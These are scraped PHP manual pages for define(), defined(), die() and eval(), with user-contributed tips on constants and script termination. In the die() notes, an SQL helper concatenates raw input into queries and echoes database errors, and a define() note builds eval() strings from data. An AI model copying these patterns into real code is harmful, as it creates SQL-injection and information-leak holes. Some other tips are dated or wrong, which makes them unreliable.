The constant name can be an empty string.

Code:

define("", "foo");
echo constant("");

Output:

foo
VGR_experts_exchange at edainworks dot com 19-Sep-2003 05:32
Hello. This applies to constants being defined as Boolean values, and may-be applies generally.

I advise you to NOT use this in an included file, in a function or elsewhere outside the scope where the define('TRACE',TRUE) is placed) :

if (TRACE) {}

This will always evaluate to TRUE if the constant is not defined previously (the story about this becoming an string 'TRACE', thus evaluating to TRUE)

Use this :

<?php
if ((defined('TRACE'))AND(constant('TRACE')))  {}
?>
Andre 27-Apr-2003 01:10
Maybe this is useful:

$file_ext is the file Extension of the image

<?php
if ( imagetypes() & @constant('IMG_' . strtoupper($file_ext)) )
{
    $file_ext = $file_ext == 'jpg' ? 'jpeg' : $file_ext;
    $create_func = 'ImageCreateFrom' . $file_ext;
}
?>
connection_timeout
define
Misc. Functions


Defines a named constant

constant
defined
Misc. Functions
PHP Manual

define

(PHP 4, PHP 5)

define — Defines a named constant

Description

bool define ( string $name , mixed $value [, bool $case_insensitive = false ] )

Defines a named constant at runtime.

Parameters

name

The name of the constant.

value

The value of the constant; only scalar and null values are allowed. Scalar values are integer, float, string or boolean values. It is possible to define resource constants, however it is not recommended and may cause unpredictable behavior.

case_insensitive

If set to TRUE, the constant will be defined case-insensitive. The default behavior is case-sensitive; i.e. CONSTANT and Constant represent different values.

Note:

Case-insensitive constants are stored as lower-case.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Defining Constants

<?php
define("CONSTANT", "Hello world.");
echo CONSTANT; // outputs "Hello world."
echo Constant; // outputs "Constant" and issues a notice.

define("GREETING", "Hello you.", true);
echo GREETING; // outputs "Hello you."
echo Greeting; // outputs "Hello you."

?>

See Also

  • defined() - Checks whether a given named constant exists
  • constant() - Returns the value of a constant
  • The section on Constants

User Contributed Notes

webmaster@PersonalInformationTechnology. 26-Oct-2011 03:35
Be careful when testing for defined boolean values.
For example, consider a section of code defining other constants, and  one control to see if they are defined.
file constants.php
<?php
  define("FOO", value);
  define("BAR", value2);
  define("CONST_DEFINED", true);
?>

and, in another file
<?php
  if(CONST_DEFINED)
  {/* use them  */}
?>

This will always return true, regardless if the constants.php file was successfully included (at least in 5.2.17)

A better approach is to define the negative:
  define("CONST_NOT_DEF", false)
and test that negative
  if(!CONST_NOT_DEF)....

Checking for defined("CONST_DEFINED") also works, but why have a boolean constant if one isn't going to use the value directly?
phen at adnerdum dot org 06-Jul-2011 01:32
To clear up a few thing:
Integers with 0 in front work. But since PHP (and many other languages) handle them as octal values, they're only allowed a range of 0-7:

<?php
 define('GOOD_OCTAL', 0700);
 define('BAD_OCTAL', 0800);

 print GOOD_OCTAL;
 print '<br>';
 print BAD_OCTAL;
?>

Result:
448
0

---------------------------------------

Furthermore,

writing the constant name without the quotation-marks (as mentioned in the notes) throws an E_NOTICE and should be avoided!

<?php
 define(TEST, 'Throws an E_NOTICE');
?>

Result:
Notice: Use of undefined constant TEST - assumed 'TEST'
kobrasrealm at gmail dot com 10-Jun-2011 06:31
When going back to rewrite code, it might be tempting to have a constant &reference a variable, but it doesn't work.

<?php
header("Content-type: text/plain");
$variable = "value";
define("MYCONSTANT", &$variable);
  echo $variable."\n";
  echo MYCONSTANT."\n";
  echo "------\n";
$variable = "different";
  echo $variable."\n";
  echo MYCONSTANT;
?>

Produces this:

value
value
------
different
value

I doubt it's supposed to work, either. :)
Jamie 01-Mar-2011 01:24
This is obvious, but easy to forget: if you include a file, the include file can only make use of constants already defined. For example:

<?php
define("VEG","cabbage");
require("another file");
define("FRUIT","apple");

// "another file":
echo VEG; // cabbage
echo FRUIT; // FRUIT
?>
andreas at cap-systems dot com 05-Feb-2011 04:54
Constant name must not written as string. The following code works also:

<?php
define(MY_NAME, 'value');
define('ANOTHER_NAME', 'value2');

if(defined('MY_NAME')) {
  echo MY_NAME . '<br />';
}

if(defined('ANOTHER_NAME')) {
  echo ANOTHER_NAME . '<br />';
}

echo MY_NAME . '<br />';
echo ANOTHER_NAME . '<br />';
?>

Output:
value
value2
value
value2

Tested with:
- PHP 5.3.1 on XAMPP on Windows Vista (local)
- PHP 5.2.42 on Apache 2.0 on Linux (remote)
- PHP 5.2.12 on Apache 2.0 on Linux (remote)
angelos at unkreativ dot org 09-Jan-2011 01:18
Something I found out the "hard" way today: integers starting with 0 won't work.
<?php
define('SOMECONSTANT', 09900);
var_dump(SOMECONSTANT);
?>
Produces int(0)

<?php
define('SOMECONSTANT', 9900);
var_dump(SOMECONSTANT);
?>
Produces int(9900)
toph at farmer corp dot c om 16-Oct-2010 02:51
Hi,

Here is a trick to use constants within the heredoc notation.

<?php
define('MY_CONSTANT','foo bar')
$cst = 'cst';
function cst($constant){
    return $constant;
}

$string = <<<EOF
My constante MY_CONSTANT : {$cst(MY_CONSTANT)} ...
EOF;
echo $string;
?>

That will echo :

My constante MY_CONSTANT : foo bar ...

As you can use function within the heredoc notation the idea is to use a fonction to return the value of the constant.
Be carefull, to use a function, it's necessary to declare the name of the function as a variable and to use that varaible during the "call" of the constant.

It works for me and doesn't seem too messy.

Hope that will help.
rush at bigup dot com dot pa 10-Aug-2010 10:23
Just in case:

You cannot set a constant to be a class.  For example:
define ("WSDLCLIENT",new soapclient(WSDLSERVER, 'wsdl'));

You cannot do this.
chris at peeto dot net 25-Mar-2010 07:15
The value of a constant can be the value of another constant.

<?php

define("NEW_GOOD_NAME_CONSTANT", "I have a value");
define("OLD_BAD_NAME_CONSTANT", NEW_GOOD_NAME_CONSTANT);

echo NEW_GOOD_NAME_CONSTANT; // current
echo OLD_BAD_NAME_CONSTANT; // legacy

?>
bohwaz.net 15-Aug-2009 05:54
Note that define don't care at all about the constant name, you can give everything as a constant name, even if the PHP documentation says that the allowed characters are [a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*

Just try this :

<?php define('anything::()$', 'test'); ?>

You won't be able to access this constant though, it will throw a parse error, either through constant() or define(), but if you do that :

<?php print_r(get_defined_constants()); ?>

You will see that the constant is registered at the end of the array. Yes that's totally useless. But you can try other things that will work with constant() :

<?php define('...', 'test'); echo constant('...'); ?>

Will echo 'test'. Yeah that's a pretty strange behavior.

And please note that defining object constants outside of objets don't work :

<?php
class myObject { }
define('myObject::CONSTANT', 'test');
?>
Anonymous 19-Jul-2009 10:31
My notice to: redeclare define -  it is possible

php -v

--> PHP 5.2.6-3ubuntu4.1 with Suhosin-Patch 0.9.6.2
Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies
php -r "define('TEST','foo',true);
var_dump(TEST);
define('TEST','bar');
var_dump(TEST);"

string(3) "foo"
string(3) "bar"

greetings
sixd at php dot net 17-Jul-2009 02:24
A note on redefining:

Constants can't be redefined:

$ php -r "define('A', 1); var_dump('A'); define('A', 2); var_dump('A');";
string(1) "A"
PHP Notice:  Constant A already defined in Command line code on line 1
string(1) "A"

But using the case insensitive setting shows that the internal
representation is lower case:

$ php -r "define('A', 1, true); var_dump('A'); define('A', 2); var_dump('A');";
string(1) "A"
string(1) "A"

Note the lower case 'a' in the second define() here:
$ php -r "define('A', 1, true); var_dump('A'); define('a', 2); var_dump('A');";
string(1) "A"
PHP Notice:  Constant a already defined in Command line code on line 1
string(1) "A"
danbettles at yahoo dot co dot uk 14-Apr-2009 11:56
define() will define constants exactly as specified.  So, if you want to define a constant in a namespace, you will need to specify the namespace in your call to define(), even if you're calling define() from within a namespace.  The following examples will make it clear.

The following code will define the constant "MESSAGE" in the global namespace (i.e. "\MESSAGE").

<?php
namespace test;
define('MESSAGE', 'Hello world!');
?>

The following code will define two constants in the "test" namespace.

<?php
namespace test;
define('test\HELLO', 'Hello world!');
define(__NAMESPACE__ . '\GOODBYE', 'Goodbye cruel world!');
?>
Aldonio 27-Mar-2009 08:24
This code will define every key of an array, and if its a multidimentional array it will define it as parent_child1_child2_etc.

<?php
function define_array( $array, $keys = NULL )
{
    foreach( $array as $key => $value )
    {
        $keyname = ($keys ? $keys . "_" : "") . $key;
        if( is_array( $array[$key] ) )
            define_array( $array[$key], $keyname );
        else
            define( $keyname, $value );
    }
}
?>
ceo at l-i-e dot com 11-Mar-2009 02:04
In PHP 4.4.9, you cannot use certain names for constants.

Specifically, reserved words such as 'PRINT', 'IF', etc.

Oddly enough, you get different behaviour for some:

<?php
define('IF', 42);
echo "IF: ", IF, "<hr />\n";
?>

yields PHP Parse error:  syntax error, unexpected T_IF

<?php
define('PRINT', 13);
echo "PRINT: ", PRINT, "<hr />\n";
?>

yields PHP Parse error:  syntax error, unexpected ')'

Not sure if this is still true in PHP 5 or not, but it's worth noting if it is.
Anonymous 09-Mar-2009 01:03
With php 5.30 it is possible to make some "restrictions", in case u use namespaces...
The following function allows only uppercase and, if 3 param isset, gives E_USER_ERROR instead of E_NOTICE:

<?php
namespace bla;

function define($c,$v,$x=false) {
    $c = strtoupper($c);
    if (!defined($c)) {
        // not to use \define here, as the syntax highlighting does not work correctly here...
        return define($c, $v, true);
    } else if ($x == true) {
        trigger_error('setting constant "'.$c.'" is not allowed', E_USER_ERROR);
    }
    return null;
}

define('PHP_VERSION', '1');
define('PHP_VERSION', '1') || trigger_error('constant already defined', E_USER_NOTICE);
define('PHP_VERSION', '1', true);
?>
jv at vip dot ie 08-Mar-2009 04:14
Probably the most efficient way of creating a constant array is to put it in a function like this:

<?php
function my_const_arr()
{
   return array
   (
      'key1' => 'val 1',
      'key2' => 'va' 2'
   );
}
?>

Then use at will like so...
<?php $my_const_arr = my_const_arr(); ?>
usuroer dot king at hotmail dot co dot uk 08-Mar-2009 04:15
Referring to "This-Is-A-Test" constant below.

When echoing it the script thinks you performing a series of minus (subtraction) thus since THIS and IS, A, TEST are not defined they are 0 by default. So 0-0-0-0 = 0.

As explained that a hyphen cannot be used within a variable.
downwind at web dot de 01-Feb-2009 08:48
I'm reffering to the note below by mittiprovence.

The described behavior has nothing to do with the fact that there is a constant in the condition.

Comparing a non-numeric string to the integer 0 by using == will return true, since the string will be casted to integer - which will be zero. If your string starts with a number, it will be castet to an integer with the number as value.

To avoid the described behavior, you should use === instead of ==.

Finally, the behavior discribed by mittiprovence is exacly the expected behavior as defined in the manual.

For further information read the manual:

http://www.php.net/manual/en/types.comparisons.php

http://www.php.net/manual/en/language.operators.comparison.php

http://www.php.net/manual/en/language.types.string.php #language.types.string.conversion

<?php

if (0 == "some string") { // is true
echo "0 == 'some string'";
}

if (1 == "some string") { // is false
echo "1 == 'some string'";
}

if (1 == "1 some string") { // is true
echo "1 == '1 some string'";
}

if (0 === "some string") { // is false
echo "0 === 'some string'";
}

?>
eparkerii at carolina dot rr dot com 22-Oct-2008 12:01
Found something interesting.  The following define:

<?php
define("THIS-IS-A-TEST","This is a test");
echo THIS-IS-A-TEST;
?>

Will return a '0'.

Whereas this:

<?php
define("THIS_IS_A_TEST","This is a test");
echo THIS_IS_A_TEST;
?>

Will return 'This is a test'.

This may be common knowledge but I only found out a few minutes ago.

[EDIT BY danbrown AT php DOT net: The original poster is referring to the hyphens versus underscores.  Hyphens do not work in defines or variables, which is expected behavior.]
pistachio 01-Sep-2008 04:41
A better solution to that of thscheer at web dot de, is to simply serialize the array.

for example:

<?php

$fruits = array("apple", "banana", "orange");

define("FRUITS", serialize($fruits));

// Now to use it
$my_fruits = unserialize(FRUITS);

?>

As you can see this is a much simpler and more efficient way to stuff arrays into constants.
jan at webfontein dot nl 27-Jul-2008 05:20
For translating with variables and define, take also a look on the constant() function.

Example :

<?php
define('PAYMENT_IDEAL',"iDEAL Payment ( NL only )");
define('PAYMENT_MASTERCARD',"Mastercard Payment ( international )");

$payparam='MASTERCARD';

echo constant("PAYMENT_$payparam");

// output :
// Mastercard Payment ( international )
?>
thscheer at web dot de 20-Jun-2008 02:18
How to define an array as constant with define?

there is a simple way to define an array of values as constant...

just

define ("constant-name","value1,value2,value3,value4");

$t_array = preg_split('/,/', constant(constant-name), -1, PREG_SPLIT_NO_EMPTY);

var_dump($t_array);

array(4) { [0]=> string(6) "value1" [1]=> string(6) "value2" [2]=> string(6) "value3" [3]=> string(6) "value4" }

Now you can iterate over the array defined as constant ...
ceo at l-i-e dot com 05-May-2008 08:30
I'm not sure if it's version dependent, but apparently this works:
define('APPLICATION_NOW', time());

This can be quite handy for time-dependent code...

You can then do:
class foo {
  $private now = APPLICATION_NOW;
}

and have a consistent time-stamp across the application, which is nice.

Works for me in 5.2.5

I didn't think it worked before...
jason@sitehatchery dot com 24-Apr-2008 11:28
You can store your constant as the value of a variable like this:

$variable=VARIABLE;

To access the constant, do this:  constant($variable).

Beware: if your variable changes, then you loose your reference to the constant - but the constant itself will not change.

I've found this especially useful for storing the constant string   (i.e. VARIABLE) in a database.
rayro at gmx dot de 15-Sep-2007 02:53
just a note to the previous post by e s lin d sey at g mail dot co m:

Well as u said, it is not the best workaround. To resolve this "Problem" without getting incredible loss of performance, you are able to make the use of "variable functions" like "variable variables":

<?php
$def = 'constant';
$string = <<<END
    This is PHP running on<br />
    {$def('PHP_OS')}
END;
var_dump($string);
?>

In this example we make use of the "constant" function which is builtin, and it will output:

string(37) " This is PHP running on
WINNT"

Tested on PHP 5...
Best regards
e s lin d sey at g mail dot co m 13-Aug-2007 01:38
Constants can't be referenced from within quotes or (more importantly IMHO) from within HEREDOC syntax. This is a huge drawback in my opinion. Here's two of my workarounds:

<?php

//PHP5 only -- more efficient
$constarray = get_defined_constants(true);
foreach($constarray['user'] as $key => $val)
    eval(sprintf('$_CONSTANTS[\'%s\'] = \'%s\';', addslashes($key), addslashes($val)));

//PHP4+ -- less efficient because it defines (potentially) hundreds of unnecessary constants
foreach(get_defined_constants() as $key => $val)
    eval(sprintf('$_CONSTANTS[\'%s\'] = \'%s\';', addslashes($key), addslashes($val)));

?>

Now you can refer to your defined constants using the $_CONSTANTS array. Note that because this is NOT a superglobal, a few caveats apply:

<?php

//run code snippet here to define $_CONSTANTS in global scope...

$mv = $_CONSTANTS['FOO']; //works

function my_function1()
{
    $mv = $_CONSTANTS['BAR']; //doesn't work! not defined!
}

function my_function2()
{
    global $_CONSTANTS;
    $mv = $_CONSTANTS['BAR']; //ah, this works!
}

?>

I realize this is not ideal, either for performance or for convenience of being able to refer to constants without regard to scope, but it is a workaround that works. Depending on your application, it may be easier to shift your paradigm a bit and use the following method instead, declaring your constants as variables first:

<?php

//first, define our constants...
$_CONSTANTS['FOO'] = 'bar';
$_CONSTANTS['BAR'] = 'foo';

//now, turn them into real constants...
foreach($_CONSTANTS as $key => $val)
    define($key, $val);

//now, you can use either format to refer to a constant
print($_CONSTANTS['FOO']);   //prints 'bar'
print(FOO);                  //prints 'bar'
print("$_CONSTANTS['FOO']"); //prints 'bar'
                             //prints 'blah bar blah'
print <<<EOF
  blah {$_CONSTANTS['FOO']} blah
EOF;

?>

Hope this helps some of you out there, I know being able to utilize my constants in HEREDOC helped me a ton!
smifffy at smith-net dot org dot uk 25-Jul-2007 04:23
a basic function to auto assign a numeric value that increase by itself each time - used in some permission style scripts

<?php
function define_bitwise($constant_name, $reset = False)
{
    static $bitwise_next = 1;

    if ( $reset === True )
    {
        $bitwise_next = 1;
    }

    define($constant_name, $bitwise_next);

    $bitwise_next += $bitwise_next;
}
?>

when reset it set to True, resets that value to 1 and starts afresh
creeves at dja dot com 19-Jul-2007 06:59
Intersting to note:

I found this in php5 on windows

If you try to unset a constant (which you cant but maybe you have a Jr. programmer or something).  The error message that is thrown is:

<?php
define ("SOME_CONSTANT", true);
unset (SOME_CONSTANT);
?>

Parse error: parse error, unexpected ')', expecting T_PAAMAYIM_NEKUDOTAYIM
nl-x at bita dot nl 09-Jul-2007 10:34
Watch out. You can define a new constant with the name NULL with define("NULL","FOO");. But you must use the function constant("NULL"); to get it's value. NULL without the function call to the constant() function will still retrieve the special type NULL value.
Within a class there is no problem, as const NULL="Foo"; will be accessible as myClass::NULL.
stangelanda at arrowquick dot com 31-Dec-2006 06:59
An improvement on the function from bobbykjack at yahoo dot co dot uk on the concept by richard dot quadling at bandvulc dot co dot uk:
<?php
function adefine($constant_name, $value=null) {
    static $increment = 0; // 1 for bitmask

    if (is_null($value)) {
        define($constant_name, ++$increment); // $increment=$increment<<1 for bitmask
    } else {
        define($constant_name, $value);
        if (is_numeric($value)) {
            $increment = $value;
        }
    }
}
?>
If you pass it a second argument it defines it normally, and resets the increment if the value is numeric.  This way the function can replace define, and you can reset the counter for a new set of constants.
<?php
adefine ('RULE_CALLBACK_FORMAT', 1); // 1
adefine ('RULE_CHANGE_CALLBACK_ON_ERROR'); // 2
adefine ('RULE_CHANGE_COMPARE_DATE'); // 3
adefine('KEYWORD', 'hodgepodge'); // hodgepodge <-- defined normally
adefine ('RULE_CHANGE_ON_DATE'); // 4

adefine ('ERROR_DESC', 1); // 1 <-- Counter reset
adefine ('ERROR_EXPECTED_RESULT'); // 2
?>
11-Feb-2005 08:45
Better pack with define() for all who really miss Java package management:

Use this "manifest.php" on very first script start or copy it to your config.somehow.php.

<?php
$__packages = array(
    "org.ilove.java.more",
    "org.ilove.python.too",
    "net.php.isok"
);

define("C_IS_WINDOWS", false);
define("C_DIR", (C_IS_WINDOWS ? "\\" : "/"));
define("C_PATH_ROOT", str_replace("/", C_DIR, $_SERVER["DOCUMENT_ROOT"]).C_DIR);
define("C_PATH_CORE", C_PATH_ROOT."core".C_DIR);
define("C_PATH_CLASS", C_PATH_CORE."classes".C_DIR);
define("C_APPLICATION_BASE", C_PATH_CORE.C_DIR."application".C_DIR);

$total_packages = 0;
$i = sizeof($__packages);
while($i-- > 0) {
    $tokens = explode(".", $__packages[$i]);
    $j = sizeof($tokens);
    while($j-- > 0) {
        $token = strtolower(trim($tokens[$j]));
        if(strlen($token) > 0 && !defined($token)) {
            define($token, ($j == 0 ? C_PATH_CLASS : "").$tokens[$j].C_DIR);
            $total_packages++;
        }
    }
}
define("C_PACKAGE_COUNT", $total_packages);
?>

With restrictions on non-package constants, you now can call your files like that:

<?php

require_once org.ilove.java.more."Than.php";

?>

Regards
Robi
phpnet at trenkner dot de 14-Mar-2003 03:59
---[Editor's Note]---
As of PHP 5.0.0 this is possible. You can define class-only constants, which can be called like Foo::Constant1 from the outside
---[End Note]---

Please keep in mind that

class AClass {
  define ("Const1", "Value1");
  ... }

didn't work. You have to make all your constant definitions before you open the class. So

define ("Const1", "Value1");
class AClass {
  ... }

would be correct.
radovan dot biciste at managestar dot com 06-Nov-2001 08:45
Wonder how to work with variable which name is stored in a constant?
Here it is:
<?php
define("VAR_NAME","test");
// assigning value
${VAR_NAME} = "value";
// getting value back
echo ${VAR_NAME};
?>
ste at opk dot no 29-Aug-2001 10:41
To use a constant to show an element of an array inside a string:
define ('C', 0); print ("element 0: {$a[C]}");
The { & } around the variable signals that what's inside should be treated as a variable and not a string.
Note that 'print ("a constant:{C}");' wont work as ZERO is a constant.
constant
defined
Misc. Functions


Checks whether a given named constant exists

define
die
Misc. Functions
PHP Manual

defined

(PHP 4, PHP 5)

defined — Checks whether a given named constant exists

Description

bool defined ( string $name )

Checks whether the given constant exists and is defined.

Note:

If you want to see if a variable exists, use isset() as defined() only applies to constants. If you want to see if a function exists, use function_exists().

Parameters

name

The constant name.

Return Values

Returns TRUE if the named constant given by name has been defined, FALSE otherwise.

Examples

Example #1 Checking Constants

<?php
/* Note the use of quotes, this is important.  This example is checking
 * if the string 'TEST' is the name of a constant named TEST */
if (defined('TEST')) {
    echo TEST;
}
?>

See Also

  • define() - Defines a named constant
  • constant() - Returns the value of a constant
  • get_defined_constants() - Returns an associative array with the names of all the constants and their values
  • function_exists() - Return TRUE if the given function has been defined
  • The section on Constants

User Contributed Notes

Lars Lernestal 25-Oct-2011 02:03
if you want to check id a class constant is defined use self:: before the constant name:

<?php
defined('self::CONSTANT_NAME');
?>
vindozo at gmail dot com 31-Aug-2010 02:21
If you wish to protect files from direct access I normally use this:

index.php:

<?php
// Main stuff here
define('START',microtime());

include "x.php";
?>

x.php:

<?php
defined('START')||(header("HTTP/1.1 403 Forbidden")&die('403.14 - Directory listing denied.'));
?>
audvare at gmail dot com 16-May-2010 07:35
For compatibility with PHP 5.3 and 5.2 and dirname(__FILE__) vs __DIR__ constant:

<?php
$dir = NULL;
if (defined('__DIR__')) {
  $dir = __DIR__;
}
else {
  $dir = dirname(__FILE__);
}
?>

Not for every time; you should probably just define this elsewhere so every time the script needs the current directory just use $dir which was taken from that bit.
r dot hartung at roberthartung dot de 03-Dec-2009 11:45
You can use the late static command "static::" withing defined as well. This example outputs - as expected - "int (2)"

<?php
  abstract class class1
  {
    public function getConst()
    {
      return defined('static::SOME_CONST') ? static::SOME_CONST : false;
    }
  }

  final class class2 extends class1
  {
    const SOME_CONST = 2;
  }

  $class2 = new class2;

  var_dump($class2->getConst());
?>
info at daniel-marschall dot de 11-Jul-2009 01:51
I found something out: defined() becomes probably false if a reference gets lost.

<?php

session_start(); // $_SESSION created
define('SESSION_BACKUP', $_SESSION);
if (defined('SESSION_BACKUP')) echo 'A';
session_unset(); // $_SESSION destroyed
if (defined('SESSION_BACKUP')) echo 'B';

?>

You will see "A", but not "B".
tris+php at tfconsulting dot com dot au 26-Mar-2009 06:40
Before using defined() have a look at the following benchmarks:

true                                       0.65ms
$true                                      0.69ms (1)
$config['true']                            0.87ms
TRUE_CONST                                 1.28ms (2)
true                                       0.65ms
defined('TRUE_CONST')                      2.06ms (3)
defined('UNDEF_CONST')                    12.34ms (4)
isset($config['def_key'])                  0.91ms (5)
isset($config['undef_key'])                0.79ms
isset($empty_hash[$good_key])              0.78ms
isset($small_hash[$good_key])              0.86ms
isset($big_hash[$good_key])                0.89ms
isset($small_hash[$bad_key])               0.78ms
isset($big_hash[$bad_key])                 0.80ms

PHP Version 5.2.6, Apache 2.0, Windows XP

Each statement was executed 1000 times and while a 12ms overhead on 1000 calls isn't going to have the end users tearing their hair out, it does throw up some interesting results when comparing to if(true):

1) if($true) was virtually identical
2) if(TRUE_CONST) was almost twice as slow - I guess that the substitution isn't done at compile time (I had to double check this one!)
3) defined() is 3 times slower if the constant exists
4) defined() is 19 TIMES SLOWER if the constant doesn't exist!
5) isset() is remarkably efficient regardless of what you throw at it (great news for anyone implementing array driven event systems - me!)

May want to avoid if(defined('DEBUG'))...
phrank 30-Jan-2009 01:17
@ ndove at cox dot net

But you receive a Fatal error 'Undefined class constant' if the constant is not defined.:-)
reachmike at hotpop dot com 30-Nov-2008 10:17
You may find that if you use <?= ?> to dump your constants, and they are not defined, depending on your error reporting level, you may not display an error and, instead, just show the name of the constant. For example:

<?= TEST ?>

...may say TEST instead of an empty string like you might expect. The fix is a function like this:

<?php

function C(&$constant) {
    $nPrev1 = error_reporting(E_ALL);
    $sPrev2 = ini_set('display_errors', '0');
    $sTest = defined($constant) ? 'defined' : 'not defined';
    $oTest = (object) error_get_last();
    error_reporting($nPrev1);
    ini_set('display_errors', $sPrev2);
    if ($oTest->message) {
        return '';
    } else {
        return $constant;
    }
}

?>

And so now you can do:

<?= C(TEST) ?>

If TEST was assigned with define(), then you'll receive the value. If not, then you'll receive an empty string.

Please post if you can do this in fewer lines of code or do something more optimal than toggling the error handler.
Anonymous 20-Oct-2008 08:36
Nice one, here's may addition:

index.php:

<?php
// Main stuff here
define('SITE_IN', 1);
include "x.php";
?>

x.php:

<?php
if (!defined('SITE_IN') or !constant('SITE_IN')) die('Direct access not allowed!');
?>

A bit of extra protection, a bit paranoid yes, it's good to be :)
daniel at neville dot tk 14-Jul-2008 10:48
My preferred way of checking if a constant is set, and if it isn't - setting it (could be used to set defaults in a file, where the user has already had the opportunity to set their own values in another.)

<?php

defined('CONSTANT') or define('CONSTANT', 'SomeDefaultValue');

?>

Dan.
admin at rune-city dot com 12-Jul-2008 04:39
If you wish to protect files from direct access I normally use this:

index.php:

<?php
// Main stuff here
define('SITE_IN', 1);
include "x.php";
?>

x.php:

<?php
if (!defined('SITE_IN')) die('Direct access not allowed!');
?>
Shaun H 28-Mar-2008 11:30
I saw that PHP doesn't have an enum function so I created my own. It's not necessary, but can come in handy from time to time.

<?php
    function enum()
    {
        $args = func_get_args();
        foreach($args as $key=>$arg)
        {
            if(defined($arg))
            {
                 die('Redefinition of defined constant ' . $arg);
            }

            define($arg, $key);
        }
    }

    enum('ONE','TWO','THREE');
    echo ONE, ' ', TWO, ' ', THREE;
?>
Joel 20-Aug-2007 05:35
If your constants don't show up in your included or required files, then you probably have php safe mode turned on!

I ran into this problem, I forgot to turn of safe mode when I was creating a new site.
ndove at cox dot net 27-Jan-2005 07:20
In PHP5, you can actually use defined() to see if an object constant has been defined, like so:

<?php

class Generic
{
    const WhatAmI = 'Generic';
}

if (defined('Generic::WhatAmI'))
{
    echo Generic::WhatAmI;
}

?>

Thought it may be useful to note.

-Nick
Craig at chatspike dot net 30-Nov-2003 11:57
This can be useful if you want to protect pages which get included from outsiders eyes, on your mail page (the page viewable by people) put define("X", null); then on all your other pages, you can then do something like:

<?php
if (!defined("X")) {
    echo "You Cannot Access This Script Directly, Have a Nice Day.";
    exit();
}
?>

And your page is a good as protected :)
define
die
Misc. Functions


Equivalent to exit

defined
eval
Misc. Functions
PHP Manual

die

(PHP 4, PHP 5)

die — Equivalent to exit()

Description

This language construct is equivalent to exit().

User Contributed Notes

admin at studio-gepard dot pl 25-Jul-2010 06:23
Example of PHP function with SELECT query using.
It simplifies usage of SQL and makes code much much cleaner. (similar functions can be made for other queries)
<?php
define("sql_error_reporting",true); //true to display errors, false to hide them

  function SQLselect ($TABLE,$WHERE){

     if (empty($WHERE)){
          $sql = "SELECT * FROM `$TABLE`";
     }else{
       $sql = "SELECT * FROM `$TABLE` WHERE $WHERE";
     }
     $query=mysql_query($sql);
     if ($query===false){ if (sql_error_reporting) {
die ("Sql error of <b>".$_SERVER["SCRIPT_NAME"]."</b>. Call to `$TABLE` in ".__FILE__." on line: ".__LINE__."<br>".mysql_error()."<br><b>SQL:</b><br>$sql<br>");
}else{ die(); }  }

     return mysql_fetch_array($query);
  }
?>

What this function does is taking the table and your query, execute the mysql query and provide the result. If error happen during the query, than provide detailed output using code provided by matthias dot schniedermeyer at telefonica dot de
---
Usage:
$id=1;
$result = SQLselect ("pages","`id`='$id'");
---
Error output example:
Sql error of /website/index.php. Call to `pages` in C:\www\website\functions\sql.inc on line: 43
Unknown column 'id' in 'where clause'
SQL:
SELECT * FROM `pages` WHERE `id`='1'
zero dot affect at hotmail dot com 10-May-2010 02:53
I was making a few functions and i thought it would be easier to use a single function to close off my code, The following is a example of it working i am sure if you include footer code when exiting code all the time you'll understand the purpose of the following function.

<?php
function error_msg($text) {
     # add other stuff you may want here
     $hello_var = 'hello'; //example of addon to beginning
     $goodbye_var = 'goodbye'; //example of addon to end
     die($hello_var.'<br />'.$text.'<br />'.$goodbye_var);
}

error_msg('how are you?');
?>

Outputs:
hello
how are you?
goodbye
BJ (php-net at starurl dot com) 01-Feb-2010 08:45
Correction: when using trigger_error() to throw a fatal error, make sure you include "E_USER_ERROR" as the error type, like so:

    @statement or trigger_error("Error msg", E_USER_ERROR);

Otherwise, trigger_error() defaults to a non-fatal Warning, so script execution won't be halted.

Sorry for omitting that! [Note to Ed: feel free to correct post and remove this correction].
Damien Bezborodov 20-Aug-2009 10:45
Beware that when using PHP on the command line, die("Error") simply prints "Error" to STDOUT and terminates the program with a normal exit code of 0.

If you are looking to follow UNIX conventions for CLI programs, you may consider the following:

<?php
fwrite(STDERR, "An error occurred.\n");
exit(1); // A response code other than 0 is a failure
?>

In this way, when you pipe STDOUT to a file, you may see error messages in the console and BASH scripts can test for a response code of 0 for success:

rc@adl-dev-01:~$ php die.php > test
An error occurred.
rc@adl-dev-01:~$ echo $?
1

Ideally, PHP would write all Warnings, Fatal Errors, etc on STDERR, but that's another story.
watch dot do dot sun at gmail dot com 19-Aug-2009 06:55
You can use this function for mysql connection.

For example:

<?php

$conn = mysql_connection("localhost","root",12345678);

if(!$conn){
die("Couldn't connected mysql");
}

?>

So if you can't connect to mysql you will take the message.
ecziegler at gmail.com 12-May-2008 06:06
If you are using auto append file (auto_append_file ="_end.php";) on your php.ini, be carefull on using die anywhere you want your appended file to be called. Souds obvious now but took me a good 1 hour to realise why one script was not appending end file as expected.

I solved using `return` instead; it works anywhere not just inside functions and the effect is pretty much the same as die.
jbailey at raspberryginger dot com 20-Jan-2007 09:33
die doesn't prevent destructors from being run, so the script doesn't exit immediately, it still goes through cleanup routines.
28-Sep-2004 09:36
Perhaps the Coldfusion query below can be answered as follows:
---------
(From the "User Contributed Notes" for the PHP construct "exit")

nospam at mydomain dot com
27-Sep-2004 10:12
Using return instead of exit is to prefer when you want the script that you have included inside another script to die but continue to execute the main script.
// Radcliff
---------
matthias dot schniedermeyer at telefonica dot de 14-Oct-2003 07:29
To get a perl-like die you can/should append this snipped
 . " File: " . __FILE__ . " on line: " . __LINE__
e.g.
die ("Error" . " File: " . __FILE__ . " on line: " . __LINE__);
defined
eval
Misc. Functions


Evaluate a string as PHP code

die
exit
Misc. Functions
PHP Manual

eval

(PHP 4, PHP 5)

eval — Evaluate a string as PHP code

Description

mixed eval ( string $code )

Evaluates the given code as PHP.

Caution

The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.

Parameters

code

Valid PHP code to be evaluated.

The code mustn't be wrapped in opening and closing PHP tags, i.e. 'echo "Hi!";' must be passed instead of '<? echo "Hi!"; >'. It is still possible to leave and reenter PHP mode though using the appropriate PHP tags, e.g. 'echo "In PHP mode!"; ?>In HTML mode!<? echo "Back in PHP mode!";'.

Apart from that the passed code must be valid PHP. This includes that all statements must be properly terminated using a semicolon. 'echo "Hi!"' for example will cause a parse error, whereas 'echo "Hi!";' will work.

